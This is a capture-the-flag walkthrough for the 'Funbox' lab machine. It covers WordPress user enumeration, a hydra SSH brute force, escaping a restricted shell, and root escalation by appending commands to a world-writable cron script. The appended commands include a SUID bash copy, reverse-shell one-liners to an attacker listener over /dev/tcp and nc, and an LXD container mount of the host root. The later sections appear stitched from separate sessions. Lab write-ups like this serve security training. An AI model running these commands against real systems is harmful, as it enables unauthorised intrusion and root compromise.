pg-funbox-play

Exploitation Guide for Funbox
Summary

This machine is exploited by mounting a login brute-force attack against the SSH service using a username recovered during the enumeration of a WordPress website. It is escalated via insecure file permissions on a backup bash script that runs on a schedule as root.
Enumeration
Nmap

We start off by running an nmap scan:

kali@kali:~# sudo nmap 192.168.120.189
Starting Nmap 7.80 ( https://nmap.org ) at 2020-08-20 22:10 EDT
Nmap scan report for 192.168.120.189
Host is up (0.30s latency).
Not shown: 997 closed ports
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open http

FTP

We first check if we can access the FTP service without credentials.

kali@kali:~# ftp 192.168.120.189
Connected to 192.168.120.189.
220 ProFTPD Server (Debian) [::ffff:192.168.120.189]
Name (192.168.120.189:kali): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.
Login failed.

However, we are unlucky and so we will leave this one for now.
Web Enumeration

Browsing to the website on port 80 we find it redirects to http://funbox.fritz.box/. We can add a hosts file entry to get things working correctly for us.

kali@kali:~# sudo echo “192.168.120.189 funbox.fritz.box” >> /etc/hosts

Now that we can access the website, we see that it is running WordPress. Our next step is to run wpscan to see if we can identify any vulnerabilities and any usernames.

wpscan --url http://funbox.fritz.box/ --enumerate u
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|

WordPress Security Scanner by the WPScan Team
Version 3.8.1
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[+] URL: http://funbox.fritz.box/ [192.168.120.189]
[+] Started: Thu Aug 20 22:26:14 2020

...

[i] User(s) Identified:

[+] admin
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://funbox.fritz.box/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)

[+] joe
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)

[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up

[+] Finished: Thu Aug 20 22:26:24 2020
[+] Requests Done: 26
[+] Cached Requests: 36
[+] Data Sent: 6.525 KB
[+] Data Received: 257.882 KB
[+] Memory used: 150.535 MB
[+] Elapsed time: 00:00:09

We can see wpscan identified two users, joe and admin. With this knowledge we can continue by next looking at the SSH service.
Exploitation
SSH Brute Force

Since we now have a potential username, joe, we can attempt to brute force the password using hydra.

kali@kali:~# hydra -l joe -P /usr/share/wordlists/rockyou.txt ssh://192.168.120.189
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-08-20 22:33:11
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.120.189:22/
[22][ssh] host: 192.168.120.189 login: joe password: 12345
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 3 final worker threads did not complete until end.
[ERROR] 3 targets did not resolve or could not be connected
[ERROR] 0 targets did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-08-20 22:33:20

This quickly identifies the password 12345 and we can use these credentials to login via SSH.

Other way to get joe’s password :

Running WPScan against the host we identify some users joe/12345 & admin/iubire. Remembering to set the --passwords parameter to rockyou.txt

wpscan --url http://funbox.fritz.box/ -t 40 -e ap,u1-1000 --passwords /usr/share/wordlists/rockyou.txt --force
.

ssh joe@192.168.120.189

joe@funbox:~$ id
uid=1001(joe) gid=1001(joe) groups=1001(joe)

Shell Breakout

If we try to change directory we find that we are in a restricted shell.

joe@funbox:~$ cd /
-rbash: cd: restricted

Before we can continue our enumeration we will need to escape this and obtain a full shell. First we will check our environment to see what we have access to.

joe@funbox:~$ env
SHELL=/bin/rbash
PWD=/home/joe
LOGNAME=joe
XDG_SESSION_TYPE=tty
MOTD_SHOWN=pam
HOME=/home/joe
LANG=en_US.UTF-8
...
LESSOPEN=| /usr/bin/lesspipe %s
USER=joe
SHLVL=1
XDG_SESSION_ID=28
XDG_RUNTIME_DIR=/run/user/1001
SSH_CLIENT=192.168.118.6 50000 22
XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktop
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin
DBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/1001/bus
SSH_TTY=/dev/pts/0
_=/usr/bin/env

Looking at the PATH variable it appears to be unchanged and as such we can just run bash normally to escape.

joe@funbox:~$ bash
joe@funbox:~$ cd /
joe@funbox:/$

As always whenever you have WordPress on a target machine ensure to check /var/www/html/wp-config.php for database credentials.

we find

/** The name of the database for WordPress */
define('DB_NAME', 'wordpress');
/** MySQL database username */
define('DB_USER', 'wordpress');
/** MySQL database password */
define('DB_PASSWORD', 'wordpress');

Escalation
Insecure File Permissions

If we return to joe’s home directory we can find a file called mbox containing some interesting information.

joe@funbox:/$ cd ~
joe@funbox:~$ cat mbox
From root@funbox Fri Jun 19 13:12:38 2020
Return-Path: <root@funbox>
X-Original-To: joe@funbox
Delivered-To: joe@funbox
Received: by funbox.fritz.box (Postfix, from userid 0)
id 2D257446B0; Fri, 19 Jun 2020 13:12:38 +0000 (UTC)
Subject: Backups
To: <joe@funbox>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20200619131238.2D257446B0@funbox.fritz.box>
Date: Fri, 19 Jun 2020 13:12:38 +0000 (UTC)
From: root <root@funbox>

Hi Joe, please tell funny the backupscript is done.

From root@funbox Fri Jun 19 13:15:21 2020
Return-Path: <root@funbox>
X-Original-To: joe@funbox
Delivered-To: joe@funbox
Received: by funbox.fritz.box (Postfix, from userid 0)
id 8E2D4446B0; Fri, 19 Jun 2020 13:15:21 +0000 (UTC)
Subject: Backups
To: <joe@funbox>
X-Mailer: mail (GNU Mailutils 3.7)
Message-Id: <20200619131521.8E2D4446B0@funbox.fritz.box>
Date: Fri, 19 Jun 2020 13:15:21 +0000 (UTC)
From: root <root@funbox>

Joe, WTF!?!?!?!?!?! Change your password right now! 12345 is an recommendation to fire you.

It appears that a user called funny is waiting on a backup script. If we change to funny’s home directory we can find the script with some insecure file permissions.

joe@funbox:/home/funny$ ls -lah
total 47M
drwxr-xr-x 3 funny funny 4.0K Jul 18 10:02 .
drwxr-xr-x 4 root root 4.0K Jun 19 11:50 ..
-rwxrwxrwx 1 funny funny 55 Jul 18 10:15 .backup.sh
-rw------- 1 funny funny 0 Aug 14 13:03 .bash_history
-rw-r--r-- 1 funny funny 220 Feb 25 12:03 .bash_logout
-rw-r--r-- 1 funny funny 3.7K Feb 25 12:03 .bashrc
drwx------ 2 funny funny 4.0K Jun 19 10:43 .cache
-rw-rw-r-- 1 funny funny 47M Aug 21 06:58 html.tar
-rw-r--r-- 1 funny funny 807 Feb 25 12:03 .profile
-rw-rw-r-- 1 funny funny 162 Jun 19 14:13 .reminder.sh
-rw-rw-r-- 1 funny funny 74 Jun 19 12:25 .selected_editor
-rw-r--r-- 1 funny funny 0 Jun 19 10:44 .sudo_as_admin_successful
-rw------- 1 funny funny 7.7K Jul 18 10:02 .viminfo
joe@funbox:/home/funny$ cat .backup.sh 
#!/bin/bash
tar -cf /home/funny/html.tar /var/www/html

Before we overwrite the file, let’s first check whether or not it is being executed and who by. To do this we will use pspy. pspy is tool which allows you to snoop on processes without needing root permissions. We can download pspy to /tmp and run it for several minutes to see if anything interesting is revealed.

joe@funbox:/tmp$ wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64

2020-08-21 07:05:12 (24.4 MB/s) – ‘pspy64’ saved [3078592/3078592]

joe@funbox:/tmp$ chmod +x pspy64 
joe@funbox:/tmp$ ./pspy64 
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855


██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒ 
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░ 
░░ ░ ░ ░ ░░ ▒ ▒ ░░ 
░ ░ ░ 
░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2020/08/21 07:05:32 CMD: UID=0 PID=978 | proftpd: (accepting connections) 
2020/08/21 07:05:32 CMD: UID=112 PID=951 | /usr/sbin/mysqld 
2020/08/21 07:05:32 CMD: UID=0 PID=943 | /usr/lib/policykit-1/polkitd --no-debug 
2020/08/21 07:05:32 CMD: UID=0 PID=924 | /bin/login -p -- 
...
2020/08/21 07:05:32 CMD: UID=0 PID=1 | /sbin/init maybe-ubiquity 
2020/08/21 07:06:01 CMD: UID=0 PID=13193 | /usr/sbin/CRON -f 
2020/08/21 07:06:01 CMD: UID=1000 PID=13194 | /bin/sh -c /home/funny/.backup.sh 
2020/08/21 07:06:01 CMD: UID=1000 PID=13195 | /bin/bash /home/funny/.backup.sh 
2020/08/21 07:06:01 CMD: UID=1000 PID=13196 | tar -cf /home/funny/html.tar /var/www/html 
2020/08/21 07:06:01 CMD: UID=1000 PID=13198 | /usr/sbin/postdrop -r 
2020/08/21 07:06:01 CMD: UID=1000 PID=13197 | /usr/sbin/sendmail -FCronDaemon -i -B8BITMIME -oem funny
...
2020/08/21 07:10:01 CMD: UID=0 PID=13405 | /bin/sh -c /home/funny/.backup.sh 
2020/08/21 07:10:01 CMD: UID=1000 PID=13404 | tar -cf /home/funny/html.tar /var/www/html 
2020/08/21 07:10:01 CMD: UID=0 PID=13403 | /bin/sh -c /home/funny/.backup.sh 
2020/08/21 07:10:01 CMD: UID=1000 PID=13402 | /bin/bash /home/funny/.backup.sh 
2020/08/21 07:10:01 CMD: UID=1000 PID=13401 | /bin/sh -c /home/funny/.backup.sh 
2020/08/21 07:10:01 CMD: UID=0 PID=13400 | /usr/sbin/CRON -f 
2020/08/21 07:10:01 CMD: UID=0 PID=13399 | /usr/sbin/CRON -f
2020/08/21 07:10:01 CMD: UID=0 PID=13406 | tar -cf /home/funny/html.tar /var/www/html 
2020/08/21 07:10:02 CMD: UID=0 PID=13407 | /usr/sbin/sendmail -FCronDaemon -i -B8BITMIME -oem root 
2020/08/21 07:10:02 CMD: UID=1000 PID=13410 | /usr/sbin/postdrop -r 
2020/08/21 07:10:02 CMD: UID=0 PID=13409 | /usr/sbin/postdrop -r 
2020/08/21 07:10:02 CMD: UID=1000 PID=13408 | /usr/sbin/sendmail -FCronDaemon -i -B8BITMIME -oem funny 
2020/08/21 07:10:02 CMD: UID=0 PID=13411 | cleanup -z -t unix -u -c 
2020/08/21 07:10:02 CMD: UID=0 PID=13412 | trivial-rewrite -n rewrite -t unix -u -c 
2020/08/21 07:10:02 CMD: UID=0 PID=13413 | local -t unix 
2020/08/21 07:10:02 CMD: UID=0 PID=13414 | local -t unix

Although we do initially see that /home/funny/.backup.sh is run as funny, we later see that it is also run as root. So to exploit this all we need to do is append a malicious command to /home/funny/.backup.sh. We can do this as follows.

joe@funbox:~$ echo "cp -f /bin/bash /tmp/bash && chmod u+s /tmp/bash" >> /home/funny/.backup.sh
joe@funbox:~$ cat /home/funny/.backup.sh
#!/bin/bash
tar -cf /home/funny/html.tar /var/www/html
cp -f /bin/bash /tmp/bash && chmod u+s /tmp/bash

Now we wait five to ten minutes for our command to execute and then we should find a copy of bash in the /tmp directory with its SUID bit set. We can then execute this to obtain a root shell.

joe@funbox:~$ ls -lah /tmp
total 4.2M
drwxrwxrwt 13 root root 4.0K Aug 21 07:18 .
drwxr-xr-x 20 root root 4.0K Aug 14 12:40 ..
-rwsr-xr-x 1 root funny 1.2M Aug 21 07:35 bash
drwxrwxrwt 2 root root 4.0K Aug 21 02:07 .font-unix
drwxrwxrwt 2 root root 4.0K Aug 21 02:07 .ICE-unix
-rwxrwxr-x 1 joe joe 3.0M Aug 22 2019 pspy64
drwx------ 3 root root 4.0K Aug 21 02:07 snap.lxd
drwx------ 3 root root 4.0K Aug 21 02:07 systemd-private-743ec18eec5840e98c3875859e1eab06-apache2.service-sFj0Ve
drwx------ 3 root root 4.0K Aug 21 02:07 systemd-private-743ec18eec5840e98c3875859e1eab06-systemd-logind.service-H0gLpj
drwx------ 3 root root 4.0K Aug 21 02:10 systemd-private-743ec18eec5840e98c3875859e1eab06-systemd-resolved.service-xyb48i
drwx------ 3 root root 4.0K Aug 21 02:07 systemd-private-743ec18eec5840e98c3875859e1eab06-systemd-timesyncd.service-SpPXfh
drwxrwxrwt 2 root root 4.0K Aug 21 02:07 .Test-unix
drwx------ 2 root root 4.0K Aug 21 02:07 vmware-root_656-2689274927
drwxrwxrwt 2 root root 4.0K Aug 21 02:07 .X11-unix
drwxrwxrwt 2 root root 4.0K Aug 21 02:07 .XIM-unix
joe@funbox:~$ /tmp/bash -p
bash-5.0# id
uid=1001(joe) gid=1001(joe) euid=0(root) groups=1001(joe)

We could also use

echo 'sh -i >& /dev/tcp/192.168.49.70/9001 0>&1' >> .backup.sh

or

joe@funbox:~$ echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.70 9002 >/tmp/f" >> /home/funny/.backup.sh
joe@funbox:~$ cat /home/funny/.backup.sh #!/bin/bash tar -cf /home/funny/html.tar /var/www/html rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.49.70 9002 >/tmp/f
┌──(kali㉿puckie)-[~/offsec]
└─$ nc -nlvp 9002
listening on [any] 9001 ...
connect to [192.168.49.70] from (UNKNOWN) [192.168.70.77] 41004
sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
#

.PrivEsc Method 2

user@user:~$ git clone https://github.com/saghul/lxd-alpine-builder.git
Cloning into ‘lxd-alpine-builder’…
remote: Enumerating objects: 27, done.
remote: Total 27 (delta 0), reused 0 (delta 0), pack-reused 27
Unpacking objects: 100% (27/27), 15.98 KiB | 743.00 KiB/s, done.

I then cd into the new directory and install the alpine build:

user@user:~$ cd lxd-alpine-builder/
user@user:~/lxd-alpine-builder$ ./build-alpine
build-alpine: must be run as root
user@user:~/lxd-alpine-builder$ sudo ./build-alpine
[sudo] password for user:

There should be a tar.gz file created in the directory. Let’s check:

Great! Now we need to get that file over to the target machine. Let’s set up our python server for the transfer:
$ wget http://192.168.1.180/alpine-v3.14-x86_64-20210831_0326.tar.gz
--2021-08-31 10:40:49-- http://192.168.1.180/alpine-v3.14-x86_64-20210831_0326.tar.gz
Connecting to 192.168.1.180:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3252130 (3.1M) [application/gzip]
Saving to: ‘alpine-v3.14-x86_64-20210831_0326.tar.gz’

0K .......... .......... .......... .......... .......... 1% 1.29M 2s
50K .......... .......... .......... .......... .......... 3% 3.09M 2s
--snip-- 
3100K .......... .......... .......... .......... .......... 99% 550M 0s
3150K .......... .......... ..... 100% 597M=0.1s

2021-08-31 10:40:49 (31.9 MB/s) - ‘alpine-v3.14-x86_64-20210831_0326.tar.gz’ saved [3252130/3252130]

$ ls -la
total 50784
drwxr-xr-x 3 funny funny 4096 Aug 31 10:40 .
drwxr-xr-x 4 root root 4096 Jun 19 2020 ..
-rw-rw-r-- 1 funny funny 3252130 Aug 31 07:26 alpine-v3.14-x86_64-20210831_0326.tar.gz
-rwxrwxrwx 1 funny funny 97 Aug 31 06:45 .backup.sh
-rw------- 1 funny funny 1462 Jul 18 2020 .bash_history
-rw-r--r-- 1 funny funny 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 funny funny 3771 Feb 25 2020 .bashrc
drwx------ 2 funny funny 4096 Jun 19 2020 .cache
-rw-rw-r-- 1 funny funny 48701440 Aug 31 10:40 html.tar
-rw-r--r-- 1 funny funny 807 Feb 25 2020 .profile
-rw-rw-r-- 1 funny funny 162 Jun 19 2020 .reminder.sh
-rw-rw-r-- 1 funny funny 74 Jun 19 2020 .selected_editor
-rw-r--r-- 1 funny funny 0 Jun 19 2020 .sudo_as_admin_successful
-rw------- 1 funny funny 7791 Jul 18 2020 .viminfo
$ export PATH=$PATH:/snap/bin
$ lxc image import ./alpine-v3.14-x86_64-20210831_0326.tar.gz --alias myimage
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04

Image imported with fingerprint: 817a25617875d8f1322465754db87e0a5162fc8a6a54ee6718925e7b5dcee929
$ lxc image list
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-------------------------------+
| myimage | 817a25617875 | no | alpine v3.14 (20210831_03:26) | x86_64 | CONTAINER | 3.10MB | Aug 31, 2021 at 10:44am (UTC) |
+---------+--------------+--------+-------------------------------+--------------+-----------+--------+-------------------------------+
$ python -c 'import pty; pty.spawn("/bin/sh")'
$ lxc init myimage ignite -c security.privileged=true
lxc init myimage ignite -c security.privileged=true
Creating ignite
Error: No storage pool found. Please create a new storage pool
$ lxd init
lxd init
Would you like to use LXD clustering? (yes/no) [default=no]:

Do you want to configure a new storage pool? (yes/no) [default=yes]:

Name of the new storage pool [default=default]:

Name of the storage backend to use (dir, lvm, zfs, ceph, btrfs) [default=zfs]:

Create a new ZFS pool? (yes/no) [default=yes]:

Would you like to use an existing empty block device (e.g. a disk or partition)? (yes/no) [default=no]:

Size in GB of the new loop device (1GB minimum) [default=5GB]:

Would you like to connect to a MAAS server? (yes/no) [default=no]:

Would you like to create a new local network bridge? (yes/no) [default=yes]:

What should the new bridge be called? [default=lxdbr0]:

What IPv4 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]:

What IPv6 address should be used? (CIDR subnet notation, “auto” or “none”) [default=auto]: none
none
Would you like the LXD server to be available over the network? (yes/no) [default=no]:

Would you like stale cached images to be updated automatically? (yes/no) [default=yes]

Would you like a YAML "lxd init" preseed to be printed? (yes/no) [default=no]:

$ lxc init myimage ignite -c security.privileged=true
lxc init myimage ignite -c security.privileged=true
Creating ignite
$ lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
Device mydevice added to ignite
$ lxc start ignite
lxc start ignite
$ lxc exec ignite /bin/sh
lxc exec ignite /bin/sh
~ # ^[[30;5Rid
id
uid=0(root) gid=0(root)
~ # ^[[30;5Rcd /mnt

.

 

pwd
/var/spool/cron/crontabs
ls -la
total 16
drwx-wx--T 2 root crontab 4096 Jun 19 2020 .
drwxr-xr-x 5 root root 4096 Apr 23 2020 ..
-rw------- 1 funny crontab 1125 Jun 19 2020 funny
-rw------- 1 root crontab 1125 Jun 19 2020 root
cat funny
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.n8Fr20/crontab installed on Fri Jun 19 14:33:06 2020)
--snippp
# m h dom mon dow command
*/2 * * * * /home/funny/.backup.sh
cat root
# DO NOT EDIT THIS FILE - edit the master and reinstall.
# (/tmp/crontab.gcHh7z/crontab installed on Fri Jun 19 13:57:00 2020)
--snip--
# m h dom mon dow command
*/5 * * * * /home/funny/.backup.sh

.

 

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